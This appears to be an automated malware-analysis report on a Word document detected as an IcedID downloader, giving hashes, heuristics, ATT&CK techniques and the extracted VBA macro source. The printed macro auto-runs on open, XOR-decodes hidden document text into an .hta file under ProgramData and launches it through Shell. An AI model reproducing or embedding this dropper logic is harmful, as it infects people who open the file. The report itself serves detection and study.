Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c925e19a8dc48957…

MALICIOUS

Office (OOXML)

47.0 KB Created: 2021-06-17 10:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 30513e6d2bab2e61157983f1157b808b SHA-1: 3c9ec7fb5fcd5d359ab0867c4893a2662a278b5b SHA-256: c925e19a8dc489578bdaf8d8f87331710d2178d5c89feb01f688527e2a83545e
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an Office document containing VBA macros. The 'autoopen' subroutine triggers the execution of a shell command via the 'captData' function, which constructs a path to 'c:\programdata\optionfuncclass.ht'. This indicates the document is designed to download and execute a secondary payload, consistent with downloader malware. The ClamAV detection also points to the IcedID family, though specific IOCs for attribution are not present.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1178 bytes
SHA-256: 04ac34fedca10aa95f360f2e16e0b74440756e81bb379c407c868347fac53045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "countNameVba"
Function captData(funcLstBox)
Debug.Print Shell(Trim("" + tmpClass(funcLstBox & "orer ")))
End Function
Function tmpClass(funcLstBox, Optional wSwap = "c:\progra", Optional libObjectGeneric = "ta")
tmpClass = funcLstBox & wSwap & "mdata\optionFuncClass.h" & libObjectGeneric
End Function
Function byteScreenVar(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
byteScreenVar = out
End Function

Attribute VB_Name = "constMemoryVb"
Sub autoopen()
windowLng
lProcedure = captData("expl")
End Sub

Attribute VB_Name = "vbaV"
Sub windowLng()
Open tmpClass("") For Output As #1
Print #1, lTable
Close #1
End Sub
Function lTable()
lTable = byteScreenVar(singleSingle)
End Function
Function singleSingle()
singleSingle = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 9dc7173855b85375a621b1cbf9537f334ea303219936aa44a711ea69d0d22ff2

Open this report in the interactive analyzer, or submit your own file for analysis.